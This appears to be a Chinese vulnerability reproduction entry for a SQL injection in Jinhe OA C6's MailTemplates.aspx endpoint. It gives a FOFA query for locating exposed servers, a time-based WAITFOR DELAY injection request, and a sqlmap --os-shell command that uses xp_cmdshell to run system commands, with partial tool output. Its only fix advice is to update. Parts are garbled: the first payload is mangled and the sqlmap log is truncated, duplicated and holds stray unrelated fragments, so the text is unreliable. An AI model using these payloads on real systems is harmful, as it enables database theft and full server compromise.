

J1-13金和-OA-SQL

漏洞描述:

金和OA C6 MailTemplates.aspx接口处存在SQL注入漏洞，攻击者除了可以利用SQL注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

- 金和 OA

网络测绘:

fofa语法:

FOFA: app="金和网络-金和OA"

漏洞复现:

payload:

```
GET /C6/JHSofteWebMail/MailTemplates.aspx?tempID=183BWAITFOR&DELAY=270&3A0&3A5&27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Connection: close
```

效果图:

延时5秒

The screenshot displays the 'Network' tab of a web browser's developer tools. A request to 'http://127.0.0.1:53736/C6/JHSoft.Web.Mail/MailTemplates.aspx?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A5%27--' is selected. The 'Request' pane on the left shows the raw HTTP request, and the 'Response' pane on the right shows the raw HTTP response.

Request

```
1 GET /C6/JHSoft.Web.Mail/MailTemplates.aspx?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
2 Host: 127.0.0.1:53736
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
4 Connection: close
```

Response 71450bytes / 5076ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/html; charset=utf-8
4 Server: Microsoft-IIS/8.5
5 Set-Cookie: ASP.NET_SessionId=d1xpo12nu0oc
6 X-AspNet-Version: 4.0.30319
7 Date: Sat, 06 Jan 2024 13:45:56 GMT
8 Connection: close
9 Content-Length: 71450
10
11
12
13 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
14 <html>
15 <head><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta charset="utf-8"><title>
16
17
```

利用xp cmdshell命令执行

```
[root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -u "http://[REDACTED]/C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1*" --os-shell
```

```
{1.7#stable}
https://sqlm
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

```
[*] starting @ 21:50:30 /2024-01-06/
```

```
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
```

```
[21:50:31] [INFO] resuming back-end DBMS 'microsoft sql server'
```

```
[21:50:31] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to
```

```
you have not declared cookie(s), while server wants to set its own ('ASP.NET_SessionId=3smdzdlbb05...uod330bt3l'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
```

```
sqlmap resumed the following injection point(s) from stored session:
--
--
```

Parameter: #1* (URL)
Type: stacked qu

Title: Microsoft SQL

Payload: <http://10.10.10.10/30/C6/JHSoft.Web.Mail/MailTempl>

Type: UNION query

Title: Generic UN
Download: <http://www.un.org>

```

Payload: http://[redacted]/C6/JHSoft.Web
HAR(98)+CHAR(121)+(CHAR(65)+CHAR(72)+CHAR(107)+CHA

```

```
HAR(98)+CHAR(121)+CHAR(65)+CHAR(72)+CHAR(107)+CHAR(101)+CHAR(74)+CHAR(68)+CHAR(115)+CHAR(105)+CHAR(81)+CHAR(109)+CHAR(98)+CHAR(108)+CHAR(72)+CHAR(90)+CHAR(76)+C
HAR(120)+CHAR(115)+CHAR(119)+CHAR(75)+CHAR(120)+CHAR(81)+CHAR(102)+CHAR(117)+CHAR(90)+CHAR(65)+CHAR(102)+CHAR(71)+CHAR(110)+CHAR(77)+CHAR(74)+CHAR(88)+CHAR(70)+C
HAR(68)+CHAR(109)+CHAR(67)+CHAR(118)+CHAR(104)+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(120)+CHAR(113),NULL,NULL -- UnbJ
```

```
[21:50:33] [INFO] the back-end DBMS is Microsoft SQL Server
```

web server operating system: Windows 8.1 or 2012 R2

web application technology: ASP.NET, Microsoft IIS 8.5, ASP.NET 4.0.30319

```
back-end DBMS: Microsoft SQL Server 2012
[31:50:33] [TNE0] testing if current use
```

```
[21:50:33] [INFO] testing if current user is DBA
[21:50:33] [WARNING] reflective value(s) found a
```

21:50:33 WARNING: Reflective value(s) found and letter dig out

修复建议:

更新到最新系统